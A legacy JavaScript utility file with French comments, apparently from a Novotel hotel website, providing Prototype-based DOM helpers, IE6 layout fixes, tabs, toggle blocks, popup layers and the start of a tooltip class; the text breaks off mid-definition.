// ajout de l'appel javascript à SWFObject via un document.write, cela evite de devoir le coller dans toutes les pages
document.write('<script type="text/javascript" src="/scripts/lib/swfobject.js"></script>');


var IS_IE = document.all && window.print && !window.opera && ( !document.compatMode || /MSIE [56]/.test(navigator.userAgent) || (document.compatMode && document.compatMode=="BackCompat"));
/* Event.onDOMReady(function() { //stuff here! }); */

try {
    Object.extend(Event, {
        _domReady : function() {
            if (arguments.callee.done) return;
            arguments.callee.done = true;
            if (this._timer) clearInterval(this._timer);
            this._readyCallbacks.each(function(f) { f(); });
            this._readyCallbacks = null;
        },
        onDOMReady : function(f) {
            if (!this._readyCallbacks) {
                var domReady = this._domReady.bind(this);
                if (document.addEventListener) document.addEventListener("DOMContentLoaded", domReady, false);
 
                if (/WebKit/i.test(navigator.userAgent)) {
                    this._timer = setInterval(function() {
                        if (/loaded|complete/.test(document.readyState)) domReady();
                    }, 10);
                }
				Event.observe(window, 'load', domReady);
                Event._readyCallbacks =  [];
            }
            Event._readyCallbacks.push(f);
        }
    });
} catch(e) {
}



//document.write('<div id="ctn_global">');
function returnLists() {
	//retournement des listes d'items sur trois colonnes
	if (document.getElementsByClassName('list3cols').length == 0) return;
	document.getElementsByClassName('list3cols').each(function(el,i){
		var lis = el.getElementsBySelector("li");
		var li = new Array(); 
		var li_result = new Array();
		var li_inner= new Array();
		var length1, length2, length3;
		var length = Math.floor(lis.length / 3);
		var modulo = lis.length % 3;
		length1 = length;
		length2 = length;
		if (modulo == 1) {
			length1++;
		}
		if (modulo == 2) {
			length1++;
			length2++;
		}
		li[0] = lis.slice(0, length1);
		li[1] = lis.slice(length1, length1 + length2);
		li[2] = lis.slice(length1 + length2);
		
		for (var ind = 0; ind < lis.length; ind++) {
			li_result[ind] = li[(ind%3)][Math.floor(ind/3)];
			li_inner[ind] = li_result[ind].innerHTML; // buffer
		}
		for (var ind = 0; ind < lis.length; ind++) {
			lis[ind].innerHTML = li_inner[ind];
			if ((ind%3) == 0) {
				$(lis[ind]).addClassName("clear");
			}
		}
	});
}

function addEvent(elm, eventName, fn) {
	Event.observe(elm, eventName, fn);
}

function removeEvent(elm, event, fn) {
	Event.stopObserving(elm,event, fn);
}

var newWin = null;
function closeWin(){
	if (newWin != null){
		if(!newWin.closed)
			newWin.close();
	}
}
function popUp(strURL,strType,strHeight,strWidth) {
	closeWin();
	var strOptions="";
	switch(strType) {
		case "console":
			strOptions="resizable,height="+strHeight+",width="+strWidth;
			break;
		case "fixed":
			strOptions="status,height="+strHeight+",width="+strWidth;
			break;
		case "elastic":
			strOptions="toolbar,menubar,scrollbars,resizable,location,height="+strHeight+",width="+strWidth;
			break;
		case "elastic2":
			strOptions = 'width=580,height=600,toolbar=no,menubar=no,location=no,resizable=no,scrollbars=yes,status=yes';
			break;
		case "elastic3":
			strOptions = "height="+strHeight+",width="+strWidth+',toolbar=no,menubar=no,location=no,resizable=no,scrollbars=yes,status=yes';
			break;
		default:
		break;	
	}
	
	newWin = window.open(strURL, 'newWin', strOptions);
	newWin.focus();
}


/* supprime la propagation du click sur un &eacute;l&eacute;ment (le click n'est pas r&eacute;percut&eacute; sur les autres &eacute;l&eacute;ments en dessous du block en question) */
cancelClick = function(e){
	if (window.event){
		window.event.cancelBubble = true;
		return;
	}
	if (e){
		if (e.stopPropagation) {
			e.stopPropagation();
		}
	}
}


//contextualisation
function contextualize() {
	if (!document.location.hostname.match(/novotel/)) {
		$(document.documentElement).addClassName(" external");
		//var logo = $("logo");
		//if (logo) logo.innerHTML = '<div class="txt-c tMarginSm bMarginLg"><img src="/imagerie/thalassa.png" alt="logo"/></div>';
	}
}
	

/**********
* $n : objet de parcours du DOM, facile. Les fonctions ne font que les nodes HTML
***********/
var $n = {
	/* 	hasAttributes : retourne true si l'element passe en parametre correspond a tous les attributs passes, on peut aussi donner des attributs que l'on ne veut pas, afin de filtrer tous les &eacute;lements
		ex : if (hasAttributes(div, {nodeName:"div", className:"foobar"), {className:"idontwant"} ) doStuff();
		ici on recherche tous les DIV qui on la classe "foobar", mais on ne prend pas ceux qui ont la classe "idontwant" ex : <div class="foobar idontwant"> ne sera pas recupere.
	*/
	hasAttr : function(n, a, not) {
		var re, at;
		if (n.nodeType!=1) return false;
		function check(attr) {
			for (var i in attr) {
				at = (typeof n[i]) !="undefined" ? n[i] : n.getAttribute(i);
				re = attr[i] instanceof RegExp ? re : new RegExp("\\b" + attr[i] + "\\b","i");
				if (!at || !re.test(at)) 
					return false;
			}
			return true;
		};
		if (not && check(not))	return false;
		if (check(a)) return true;
		return false;
	},
	/* getByTagName : equivalent a element.getElementsByTagName, mais compatible avec IE5 et IE5.5 pour l'histoire du "*" */
	getByTagName : function(n, tag) {
		return  (tag=="*") ? (n.all ? n.all : n.getElementsByTagName("*")) : n.getElementsByTagName(tag);
	},
	/* fonction qui retourne le premier element correspondant aux attributs donnes */
	node : function(n, a, not) {
		return $n.nodes(n, a, not, true);
	},
	/* fonction qui retourne tous les elements correspondant selon "a" */
	nodes : function(n, a, not, oneNode, arrElms) {
		var aRetElms=[];
		if (!a) a = {};
		if (typeof a == "string") a = {nodeName:a}; //si une chaine de caract&egrave;res pass&eacute;e en param&egrave;tre, cela signifie qu'on ne veut que r&eacute;cup&eacute;rer des tags
		if (a.nodeName && a.nodeName=="*") delete a.nodeName;
		var elms = arrElms || $n.getByTagName(n, (a.nodeName || "*"));
		for (var i=0; i<elms.length; i++) {
			var x = elms[i];
			if ($n.hasAttr(x, a, not)) {
				if (oneNode) return x;
				else aRetElms.push(x);
			}
		}
		if (oneNode) return null;
		return aRetElms;
	},
	/* childs : retourne tous les noeuds enfants de l'element  */
	childs : function(n, a, not) {
		return $n.nodes(n, a, not, false, n.childNodes);
	},
	firstChild : function(n, a, not) {
		return $n.nodes(n, a, not, true, n.childNodes);
	},
	lastChild : function(n, a, not) {
		var node = $n.nodes(n, a, not, false, n.childNodes);
		return node[node.length-1];
	},
	move : function(n, a, not, action) {
		while (n) {
			if ($n.hasAttr(n, a, not)) return n;
			n = n[action];
		}
		return null;
	},
	after : function(n, a, not) { 
		return $n.move(n, a, not, "nextSibling");
	},
	before : function(n, a, not) {
		return $n.move(n, a, not, "previousSibling");
	},
	parent : function(n, a, not) {
		return $n.move(n, a, not, "parentNode");
	}
}
/* fonctions raccourcis */
var getNode = $n.node,
	getNodes = $n.nodes,
	getChildNodes = $n.childs,
	getNextSibling = $n.after,
	getPreviousSibling = $n.before,
	getParent = $n.parent,
	hasAttributes = $n.hasAttr,
	getElementsByTagName = $n.getByTagName;
	
/****
 Global vars
*******/
var IS_IE = document.all && window.print && !window.opera && ( !document.compatMode || /MSIE 6/.test(navigator.userAgent) || (document.compatMode && document.compatMode=="BackCompat"));
var heightPropertyToUse = IS_IE ? "height" : "minHeight"; //variable utilisee pour l'alignement en hauteur des elements.
var IS_quirks = IS_IE && document.compatMode && document.compatMode=="BackCompat"; // variable qui declare le quirksmode seulement utile pour IE
var IS_Webkit = /Konqueror|Safari|KHTML/.test(navigator.userAgent); 

//ajoute la classe hasJS si le JS est active sur le navigateur
document.documentElement.className+=" hasJS";
if (IS_IE) document.documentElement.className+=" IS_IE";

/*******
* Framework : 
* Fonctions necessaires au fonctionnement general. Elles apportent une aide supplementaire pour le developpement d'autres fonctions. Ces fonction sont utilisees par toutes les autres.
*********/
Array.prototype.eachInv = function(f) {
	var i;
	for(i=this.length-1;i>=0;i--) {
		f(this[i], i);
	}
}

/* fixAll(action, element) : fonction raccourci pour lancer tout ce qu'on a besoin (fixHeight, fixColumns, fixCorners)
	action : fonction ?ancer
		- 'h' ; fixHeight (fixe les cot?p?aux des blocs sous IE6)
		- 'c' : fixCorners (fixe les corners sous IE6)
		- 'p' : fixColumns (correspond ?a page en general;
	on peut aussi cumuler : fixAll('hcp', element)
	element : element parent
	
*/
function fixAll(actions, element) {
	actions = actions ? actions.toLowerCase().split('') : ['c','h','p'];
	actions.each(function(action) {
		switch(action) {
			case 'c' : fixCorners(element); break;
			case 'h' : fixHeights(element); break;
			case 'p' : fixColumns(element); break;
		}
	});
}

//removeClass
function removeClass(element, className) {
	element.className = element.className.replace(new RegExp("\\b"+className+"\\b","g"),"");
};

//addClass
function addClass(element, className) {
	element.className += " " + className;
};

//toggleClass
function toggleClass(element, className) {
	if (element.className.match(className)) {
		removeClass(element, className)
	} else {
		addClass(element, className)
	}
};

// getStyle : retourne la valeur d'une propriete CSS appliquee a un element
function getStyle(oElm, strCssRule){
	var strValue = "";
	if(document.defaultView && document.defaultView.getComputedStyle) {
		try{ 
			strValue = document.defaultView.getComputedStyle(oElm, null).getPropertyValue(strCssRule); 
		}
		catch(e) { strValue = ""; }
	}
	else if(oElm.currentStyle) {
		try{
			strCssRule = strCssRule.replace(/\-(\w)/g, function (strMatch, p1){
				return p1.toUpperCase();
			});
			strValue = oElm.currentStyle[strCssRule];
		} catch(e) {
			strValue = "";
		}
	}
	return strValue;
}

/*retourne la valeur entiere d'un style*/
function intStyle(oElm, strCSSRule) {
	var val = parseInt(getStyle(oElm, strCSSRule));
	if (isNaN(val)) val=0;
	return val;
}

/* retourne la somme de tous les styles verticaux appliques (border-width+padding) */ 
function getVStyles(elm) {
	return IS_quirks ? 0 : intStyle(elm, "border-top-width")+intStyle(elm, "border-bottom-width")+intStyle(elm, "padding-top")+intStyle(elm, "padding-bottom");
}
function getVMargins(elm) {
	return intStyle(elm, "margin-top")+intStyle(elm, "margin-bottom");
}
function getHStyles(elm) {
	return IS_quirks ? 0 : intStyle(elm, "border-left-width")+intStyle(elm, "border-right-width")+intStyle(elm, "padding-left")+intStyle(elm, "padding-right");
}

/*  ifrlayer : 
	Cette fonction corrige un probleme sous IE6 lorsqu'un layer passe par dessus un select, le select sera toujours au dessus. Pour corriger ce probl&egrave;me.
	ex : 	
		- afficher un bloc : 
			myBlock.style.display='block';
			ifrlayer.make(myBlock); //genere ou affiche l'iframe
		- cacher un bloc :
			myBlock.style.display='none';
			ifrlayer.hide(myBlock); //cache l'iframe associee au bloc
		-deplacer un bloc : 
			myBlock.style.left = "100px";
			ifrlayer.move(myBlock); // deplace l'iframe associee au bloc
*/
var ifrlayer = {
	ie : document.all && window.print && !window.opera && $,
	$ : function(obj) { 
		if (!obj) return null;
		return (typeof(obj)=="string") ? $(obj) : obj; 
	},
    make:function(obj) {
		obj = this.$(obj); if(!obj) return;
		if(this.ie) {
			if (!obj.iframelayer) {
				var ifr = document.createElement('iframe')
	            ifr.src = "javascript:false";
				obj.parentNode.insertBefore(ifr, obj);
				obj.iframelayer = ifr;
				ifr.style.filter = "mask()";
                ifr.style.position = "absolute";
				if(obj.currentStyle.zIndex != "" && parseInt(obj.currentStyle.zIndex)>1 ) {
					ifr.style.zIndex = parseInt(obj.currentStyle.zIndex)-1;
				}
			}
			var ifr = obj.iframelayer;
			obj.iframelayer.style.visibility = "visible";
            ifrlayer.move(obj,true);
        }
    },
    hide:function(obj){
		obj = this.$(obj); if(!obj) return;
         if(obj.iframelayer) {
            obj.iframelayer.style.visibility="hidden";
        }
    },
    kill:function(obj){
        obj = this.$(obj); if(!obj) return;
        if(obj.iframelayer) {
            obj.iframelayer.parentNode.removeChild(obj.iframelayer);
			obj.iframelayer = null;
        }
    },
    move:function(obj, size) {
		obj = this.$(obj);
        if(obj && obj.iframelayer) {
            with(obj.iframelayer.style) {
                top = obj.offsetTop+"px";
                left = obj.offsetLeft+"px";
                if (size) {
                    width  =  obj.offsetWidth+"px";
                    height =  obj.offsetHeight+"px";
                }
            }
        }
    }
}


/* corners functions */
var CSSBottomCorners=[]; //array pouvant contenir les coins absolu positionnes en bottom
var currentBlockToFixCorners=null; //variable gloable utilisee lorsqu'on veux fixer les coins sur un seul bloc

function cssRight(elm) {
	if (!IS_IE) {
		elm.style.right = elm.currentStyle.right || "auto";
		return;
	}
	if (elm.currentStyle.right!="auto") {
		elm.style.right = (parseInt(elm.currentStyle.right)-(elm.parentNode.offsetWidth%2))+"px";
	} else {
		elm.style.right = "auto";
	}
}
function cssBottom(elm, pushElement) {
	if (!IS_IE) {
		elm.style.bottom = elm.currentStyle.bottom || "auto";
		return;
	}
	if (pushElement && !elm.CSSBottomAlreadyCSS) {
		CSSBottomCorners.push(elm);
		elm.CSSBottomAlreadyCSS=true;
	}
	if (elm.currentStyle.bottom!="auto") {
		elm.style.bottom = (parseInt(elm.currentStyle.bottom)-(elm.parentNode.offsetHeight%2))+"px";
	} else {
		elm.style.bottom = "auto";
	}
}
function fixCorners(block) {
	// 
	if (window.event) { // correction coins arrondis hack culte
		setTimeout(function() {
			$$('b[class*=content]').each(function(corner){
				corner.style.zoom = 1;
				setTimeout(function() {corner.style.zoom = 0;}, 10);
			});
		},10);
	}
	if (IS_IE) {
		for (var i=CSSBottomCorners.length-1; i>-1; --i) {
			CSSBottomCorners[i].style.bottom="";
		}
	} else {
		if (IS_Webkit || /Gecko\/200[56]|Opera 8.5/i.test(navigator.userAgent)) fixCornersOnBlocks(block);
	}
}
var currentBlockToFixCorners = null;
function fixCornersOnBlocks(block) {
	currentBlockToFixCorners = block || document.body;
	currentBlockToFixCorners.className+=" hidecorners";
	setTimeout(fixCornersOnBlocksShowCorners,5);
}
function fixCornersOnBlocksShowCorners() {
	if (currentBlockToFixCorners) currentBlockToFixCorners.className=currentBlockToFixCorners.className.replace(/\bhidecorners\b/g,"");
	currentBlockToFixCorners=null;
}


/* initialisation des divs dans la page 
   + ajout fonctionnalit et ?ments de d?ration 
*/
function generateStyleElements(parent, stringClasses) {
	var i, x;
	parent = (typeof parent == "string") ? $(parent) : parent;
	var content = parent || document.body;
	var nodes = content.getElementsByTagName("div");
	nodes = $A(nodes).concat($A(document.getElementsByTagName("ul")));
	
	//recupere un node avec la class block_insideParDefaut
	function getIsd(node, className) { return getNode(node, {className: (className || "block_inside")})};
	
	// fonction de creation d'un coin (b avec className) 
	function nc(clN) {var b = document.createElement("b");b.className=clN;return b;};
	
	//ajoute un element ou une liste d'elements (c) sur l'element x
	function add(x, c) {
		var i=0; if (!x) return; 
		if (c.length) for (i=0; i<c.length; i++) x.appendChild(c[i].cloneNode(true));
		else x.appendChild(c.cloneNode(true));
	};
	
	//-- creation des elements qui seronts clones --
	var corners = [nc("tl"), nc("tr"), nc("bl"), nc("br")]; //corners 
	var cornersLeft = [nc("tl"), nc("bl")]; //corners 
	var cornersRight = [nc("tr"), nc("br")]; //corners 
	var overtl = nc("overtl"); // overtl : coin arrodis supplementaire pour les blocks avec des bordures speciales
	var slTopLeft = nc("tLeft"); add(slTopLeft, nc("tRight"));
	var slBottomLeft = nc("bLeft"); add(slBottomLeft, nc("bRight"));
	
	// -- creation des coins ou autres elements -- 
	// parcours des divs pour leur rajouter les corners
	for (i=nodes.length-1; i>=0; i--) {
		x=nodes[i];
		if (!x.alreadyProcessed) {
			if (x.className.match(/\bblock-(simple|filled)\b/)) add(x, corners);
			if (x.className.match(/\bblock-complex\b/)) {
				first = x.firstChild;
				while(first.nodeType==3){
					first = first.nextSibling;
				};
				x.insertBefore(slTopLeft.cloneNode(true),first);
				add(x, slBottomLeft);
			}
			if (x.className.match(/\bblockTabs\b/)) add(getIsd(x, 'blockInside'), corners);
			if (x.id=="content") add(x, [nc("content-tl"), nc("content-tr"), nc("content-bl"), nc("content-br")]);
			if (x.id=="main-inside") add(x, [nc("main-tl"), nc("main-tr"), nc("main-bl"), nc("main-br")]);
			if (x.id=="main-site") add(x, [nc("std-block-bl"), nc("std-block-br")]);
			x.alreadyProcessed = true;	
			initBlocksFunctionnalities(x); // fonction d'initialisation d'autres blocks
		}
	}
	var li = document.getElementsByTagName('li');
	for (var i=0; i<li.length; i++) {
		var x = li[i];
		if (x.id=="std-block-left") {add(x, [nc("std-block-tl"),  nc("std-block-bl")]);}
		if (x.id=="std-block-right") {add(x, [nc("std-block-tr"), nc("std-block-br")]);}
		if (x.className.match(/\b(menu-current)\b/)) {add(x, [nc("menu-current-tr"), nc("menu-current-br")]);}
	}
	var ul = document.getElementsByTagName('ul');
	for (var i=0; i<ul.length; i++) {
		initBlocksFunctionnalities(ul[i]);
	}
}

/* 	initOtherBlocks(block) : fonction rajoute d'autres fonctionnalites sur differents blocks  (toggle, onglets),
	Cette fonction est forcement lancee depuis generateStyleElements, et cela evite de faire une deuxieme passe sur les divs de la page
 */
function initBlocksFunctionnalities(x) {
	if (x.className.match(/\bline\b/)) //si ligne de block, on la stocke dans un tableau
		linesOfBlocks.push(x);
	if (x.className.indexOf("block-toggle")!=-1)
		toggleBlock.init(x);
	if (x.className.match(/\bblockTabs/)) 
		tabs.init(x);
}

 /******* 
* Tabs
 *******/
var tabs = {
	init : function(elm) {
		var ul = getNode(elm, {nodeName:"ul"});
		if (!ul) return;
		var a = ul.getElementsByTagName("a");
		for (var i=0; i<a.length; i++) {
			if (!hasAttributes(a[i], {className:"nochange"}))  {
				a[i].onclick = function() {
					tabs.change(this);
					return false;
				}
			}
			tabs.size(a[i], ul);
		}
	},
	size : function(a, ul) {
		var newSize =  a.offsetHeight + (ul.offsetHeight-a.offsetHeight) - getVStyles(a);
		a.style[heightPropertyToUse] = (newSize<0) ? 0 : newSize + "px"; //IE doesn't compute size under 0
	},
	change : function(elm) {
		var i, n, tabs, ul, li, body, tabCtns, current=0, block;
		ul = getParent(elm, {nodeName:"ul", className:"tabs(Big|Sub)?"});
		li = getParent(elm, {nodeName:"li"});
		tabs = ul.getElementsByTagName("li");
		block = getParent(ul, {nodeName:"div", className:"blockTabs(Sub)?"});
		// get What is the index of the new Tab and remove otherClass "current"
		for (i=0; i<tabs.length; i++) {
			if (tabs[i]==li) {
				current = i;
				addClass(li, "current");
			} else 
				removeClass(tabs[i], "current");
		}
		//get the tabCtn blocks, and show the contentTab that is match with clicked tab
		body = getNode(block, {nodeName:"div", className:"body"});
		tabCtns = getChildNodes(body, {nodeName:"div", className:"tabCtn"});
		for (i=0; i<tabs.length; i++) {
			n = tabCtns[i];
			removeClass(n, "tabCurrent");
			if (i==current) {
				addClass(n ,"tabCurrent");
			}
		}
	}
}



/*  addHover :
   Cette fonction ajoute le fonctionnement de la pseudo classe hover en CSS, et seulement pour IE
   Elle se base sur les evenement propres a IE qui sont les evenements qui ont le comportement le plus proche du :hover en CSS.
   Pour utiliser cette fonction il faut le faire en CSS, on peut en plus ajouter en parametre la classe CSS qui sera ajoutee en CSS
   ex :
       #menu ul li {behavior:expression(addHover(this))}
       #menu ul li {behavior:expression(addHover(this, "maclassehover"))}
       Afin de ne pas prendre en compte IE7 en mode strict il suffit de placer la classe .IS_IE avant, cette classe est ajoutee pendant le chargement de la page.
       .IS_IE #menu ul li {behavior:expression(addHover(this))}
*/
function addHover(elm, className, iframeTag) {
	className = className || "hover";
	elm.style.behavior = "   "; //reecriture du style behavior
	if (!IS_IE) return;
	elm.hoverClassName = className;
	if (iframeTag) {
		elm.iframeElm = getNode(elm, iframeTag);
		
	}
	elm.onmouseenter = function() {
	   this.className+= ' ' + this.hoverClassName;
	   if (this.iframeElm) ifrlayer.make(this.iframeElm);
	}
	elm.onmouseleave = function() {
	   this.className = this.className.replace(new RegExp("\\b" + this.hoverClassName + "\\b", "g"),"");
	   if (this.iframeElm) ifrlayer.hide(this.iframeElm);
	}
}


/**************
* sizeBlocks : alignement des blocks en hauteurs
**************/
var linesOfBlocks=[];
function sizeBlocks(parentBlock) {
	function size(block, size){
		if (block){
			var body = block; //block.className.match(/\bblock\b/) ? getNode(block, {nodeName:"div", className:"body"}) : block; //si on a une line ou bien un block
			if (body) body.style[heightPropertyToUse] = body.offsetHeight + size - getVStyles(body) + "px";
		}
	};
	linesOfBlocks.eachInv(function (line) { //les lignes fournies sont
		var units = getChildNodes(line, {className:"unit"});
		units.each(function(unit) {
			var blocks = getChildNodes(unit, {className:"(block|line)"}, {className:"noresize"});
			var sizeToApply = line.offsetHeight-unit.offsetHeight;
			var sizePerBlock = parseInt(sizeToApply/blocks.length);
			blocks.each(function(block) {
				size(block, sizePerBlock);
			});
			//sur une division on tombe parfois sur un calcul pas precis, on resize le dernier element d'un unit, afin que le calcul soit correct
			//if (blocks.length>1) size(blocks.getLast(), line.offsetHeight-unit.offsetHeight);
			// Si ca ne fonctionne pas, appeller arnaud gueras, le nain malin
		});
	});
}

/* ToggleBlock :  block qui s'ouvre et qui se ferme */
var toggleBlock = {
	init : function(elm) {
		var head = getNode(elm, {className:"head"});
		if (head) 
			var a = getNode(head, {nodeName:"a"});
			if (a)
				a.onclick = function() {
					toggleBlock.toggle(this);
					return false;
				}
	},
	// ajout les fonctionnalites du open/close (toggle);
	toggle : function(elm) {
		elm.blur();
		var scrollTop = document.body.scrollTop;
		var block = getParent(elm, {nodeName:"div", className:"block-toggle"});
		toggleClass(block, 'toggle-closed')
		fixColumns();
		document.body.scrollTop = scrollTop;
		document.body.style.zoom = 1;
		setTimeout(function() {document.body.style.zoom=0}, 1);
		setTimeout(fixCorners,2);
	}
};

/***************
* fixColumns()
****************/
function fixColumns() {
	function fix() {
		var colonnes = ['main-inside','side-menu','side','popsit-left','popsit-middle','popsit-right'],
			colonnesInside = ["", ""];
		var hMax=0, vStyle, i, b, minMax=0, sum=0; hToU = heightPropertyToUse;
		
		colonnes.each(function(id){
			id = $(id);
			if(id) {
				hMax = id.offsetHeight + getVStyles(id);
				if (hMax > minMax) {
					minMax = hMax;
					vStyle = getVStyles(id);
				}
			}
		});
		colonnes.each(function(id){
			id = $(id);
			if (id) id.setStyle({minHeight:minMax+vStyle-getVStyles(id)+'px',_height:minMax+vStyle-getVStyles(id)+'px'});
		});
		fixCorners();
	};
	setTimeout(fix,1);
} 


/*************
* PopLayer
**************/
var popLayer = {
	template : '<b class="popt"><b></b></b><div class="popInside"><b class="popl"></b><b class="popr"></b><div class="popBody"><div class="popHead"><b class="close"></b></div><div class="popContent">Content Here</div></div></div><b class="popb"><b></b></b>',
	pop : null,
	currentPosition:null,
	popContent : null,
	timeout : null,
	elmSource : null,
	eventsArray : ["click", "mouseover", "mouseout", "mousemove", "mouseup", "mousedown", "keyup", "keydown", "keypress", "abort", "blur", "change", "dblclick", "error", "load", "reset", "resize", "select", "submit"],
	init : function(parent) {
		if (!popLayer.pop) {
			parent = (typeof parent =="string") ? $(parent) : parent;
			parent = parent || document.body;
			var pop = $("popLayer");
			if (!pop) {
				pop = parent.appendChild(document.createElement("div"));
				pop.id = "popLayer";
				pop.innerHTML = popLayer.template;
			}
			popLayer.pop = pop;
			popLayer.popContent = getNode(pop,  {nodeName:"div", className:"popContent"});
			pop.style.marginLeft = -pop.offsetWidth/2+"px"
			var close = getNode(pop, {className:"close"});
			close.onclick = function() { popLayer.close(); };
		}
		popLayer.close();
		popLayer.pop.style.width = "";
		popLayer.pop.className = "";
		popLayer.pop.style.display = "block";
		popLayer.popContent.innerHTML = "";
		popLayer.popContent.style.height = "";
	},
	openHtml : function(elm, content, width, height, mask) { popLayer.open(elm, 'html', content, width, height, mask); },
	openTag : function(elm, content, width, height, mask) { popLayer.open(elm, 'tag', content, width, height, mask); },
	openUrl : function(elm, content, width, height, mask) { popLayer.open(elm, 'url', content, width, height, mask); },
	open : function(elm, type, content, width, height, mask) {
		popLayer.elmSource = elm;
		popLayer.init();
		popLayer.setPosition(elm);
		switch(type) {
			case 'html' : 
				popLayer.popContent.innerHTML = content;
				break;
			case 'tag' : 
				content = typeof(content)=="string" ? $(content) : content;
				popLayer.copyNodes(content, popLayer.popContent);
				break;
			case 'url' : 
				popLayer.pop.className = "iframe loading";
				popLayer.popContent.innerHTML = ''; //cause IE, we must use innerHTML instead of DOM functions
				var loader = popLayer.popContent.appendChild(document.createElement("b"));
				loader.className="loader";
				var ifr = getNode(popLayer.popContent, {nodeName:"iframe"});
				popLayer.iframe = ifr;
				ifr.src = content;
				popLayer.timeout = setTimeout(popLayer.loaded,3000);
				break;
			default :
				alert("Vous n'avez pas specifie le bon type de contenu");
				return;
		}
		if (mask) {
			popLayer.showMask();
		}
		setTimeout(function() {
			if (popLayer.iframe) {
				var pWin = popLayer.iframe.contentWindow || popLayer.iframe.window;
				if (pWin && elm) {
					pWin.onload = function() {
						popLayer.setPosition(elm);
					};
				}
			}
		}, 10);
		popLayer.resize(width, height);
		popLayer.setPosition(elm);
		popLayer.pop.style.visibility = "visible";
		ifrlayer.make(popLayer.pop);
	},
	close : function(url) {
		popLayer.hideMask();
		if (url) {
			if (window.parent) {
				window.parent.location.href=url;
			}
		}
		function close(from) {
			from.popLayer.hideMask();
			from.popLayer.pop.style.visibility = "hidden";
			from.popLayer.pop.style.display = "none";
			ifrlayer.hide(from.popLayer.pop);
		};
		if (window.parent) close(window.parent);
		ifrlayer.hide(popLayer.pop);
		try {close(window);}
		catch(e){ifrlayer.hide(popLayer.pop);};
		
	},
	resize: function(width, height) {
		var doc, objectSized;
		if (width) {
			var pWin = popLayer.iframe && (popLayer.iframe.contentWindow || popLayer.iframe.window);
			if (pWin) {
				popLayer.pop.style.width = width + (popLayer.pop.offsetWidth-popLayer.popContent.offsetWidth) + "px";
			}
			else
				popLayer.pop.style.width = width + ((width+"").match(/%/) ? "%" : "px");
		}
		if (height) { 
			if (popLayer.iframe) {
				if (isNaN(height)) {
					objectSized = height;
					height = objectSized.offsetHeight;
				}
				popLayer.iframe.style.height="10px";
				if (objectSized && objectSized.scrollHeight>=popLayer.iframe.offsetHeight) {
					popLayer.iframe.style.height = objectSized.scrollHeight + 1 + "px"; //on met la taille pour supprimer le scroller
					popLayer.iframe.style.height = "10px"; //on remet la taille  0 pour avoir le bon scrollHeight
					popLayer.iframe.style.height = objectSized.scrollHeight + 1 + "px"; //on resize definitifement via le bon scrollHeight
				} else {
					popLayer.iframe.style.height = height+"px";
				}
			}
			else
				popLayer.popContent.style.height = height+"px";
		}
		
		var sides = getNodes(popLayer.pop, {nodeName:"b", className:"pop(r|l)"});
		sides.each(function(side) { side.style.height = side.parentNode.offsetHeight + "px"; });
		ifrlayer.make(popLayer.pop);
	},
	setPosition : function(elm, top, left) {
		popLayer.pop.style.marginLeft = -popLayer.pop.offsetWidth/2+"px";
		if (elm && typeof elm!="string") 
			popLayer.pop.style.top = findPos(elm)[1] + 10 + "px";
		else 
			popLayer.pop.style.top = document.documentElement.clientHeight>popLayer.pop.offsetHeight ? parseInt((document.documentElement.clientHeight-popLayer.pop.offsetHeight)/2) + document.documentElement.scrollTop + "px" :  document.documentElement.scrollTop + 10 + "px";
		ifrlayer.move(popLayer.pop);	
	},
	fixSize : function(elmSrc) {
		if (window.parent && window.parent.popLayer && window.parent.popLayer.iframe) {
			window.parent.popLayer.iframe.style.height="10px";
			window.parent.popLayer.resize(null, document.documentElement.scrollHeight+1);
			window.parent.popLayer.setPosition(elmSrc);
		}
	},
	loaded : function(elm) {
		clearTimeout(popLayer.timeout);
		var from = window.parent || window;
		if (from) {
			from.popLayer.pop.className = from.popLayer.pop.className.replace(/loading/g, "");
			var obj = from.popLayer.iframe.contentWindow || from.popLayer.iframe.window;
			try {
				obj.close =  function() {
					return function() {
						popLayer.close();
					}();
				}
				if (document.all && window.print && !window.opera) {
					var objToSend = obj.document.body || obj.document.documentElement;
				} else {
					var objToSend = (obj.document.body && obj.document.documentElement && obj.document.body.scrollHeight>obj.document.documentElement.offsetHeight) ? obj.document.body : obj.document.documentElement;
				}
				popLayer.resize(obj.document.documentElement.scrollWidth+10, objToSend);
			} catch(e) {}
		}
		popLayer.setPosition(popLayer.elmSource);
		popLayer.elmSource = null;
	},
	copyNodes : function(sourceElm, destElm) {
		for (var i=0; i<sourceElm.childNodes.length; i++) {
			destElm.appendChild(sourceElm.childNodes[i].cloneNode(true));
		}
		var allSourceNodes = $n.getByTagName(sourceElm, "*");
		var allDestNodes = $n.getByTagName(destElm, "*");
		for (var i=0; i<allSourceNodes.length; i++) {
			popLayer.copyEvents(allSourceNodes[i], allDestNodes[i]);
		}
	},
	copyEvents : function(sourceElm, destElm) {
		for (var i=0; i<popLayer.eventsArray.length; i++) {
			var evt = "on"+popLayer.eventsArray[i];
			destElm[evt] = sourceElm[evt];
		}
	},
	
	showMask : function() {
		if (!popLayer.mask) {
			var div = document.createElement('div');
			div.id = 'popLayerMask';
			popLayer.mask = document.body.appendChild(div);
		}
		popLayer.mask.style.height = document.documentElement.scrollHeight +'px';
		popLayer.mask.style.width = document.documentElement.scrollWidth +'px';
		popLayer.mask.style.display = 'block';
		ifrlayer.make(popLayer.mask);
	},
	
	hideMask : function() {
		if (popLayer.mask) {
			popLayer.mask.style.display = 'none';
			ifrlayer.kill(popLayer.mask);
		}
	}
}

function showAndHide(field) {
	var allFields = getNodes(field.form, {name:field.name}, null, false, field.form.elements);
	allFields.each(function(field) {
		var elm = $(field.value);
		elm.style.display = field.checked ? "block" : "none";
	});
	fixHeights(field);
}

// Tooltip Object
var Tooltip = Class.create({
	initialize: function(el, options) {
		this.el = $(el);
		this.initialized = false;
		this.setOptions(options);
		
		// Event handlers
		this.showEvent = this.show.bindAsEventListener(this);
		this.hideEvent = this.hide.bindAsEventListener(this);
		this.updateEvent = this.update.bindAsEventListener(this);
		Event.observe(this.el, "mouseover", this.showEvent );
		Event.observe(this.el, "mouseout", this.hideEvent );
		
		// Removing title from DOM element to avoid showing it
		this.content = this.el.title;
		this.el.title = "";

		// If descendant elements has 'alt' attribute defined, clear it
		this.el.descendants().each(function(el){
			if(Element.readAttribute(el, 'alt'))
				el.alt = "";
		});
	},
	setOptions: function(options) {
		this.options = {
			backgroundColor: '', // Default background color (use CSS value)
			borderColor: '', // Default border color (use CSS value)
			textColor: '', // Default text color (use CSS value)
			textShadowColor: '', // Default text shadow color (use CSS value)
			maxWidth: 250,	// Default tooltip width
			align: "left", // Default align
			delay: 250, // Default delay before tooltip appears in ms
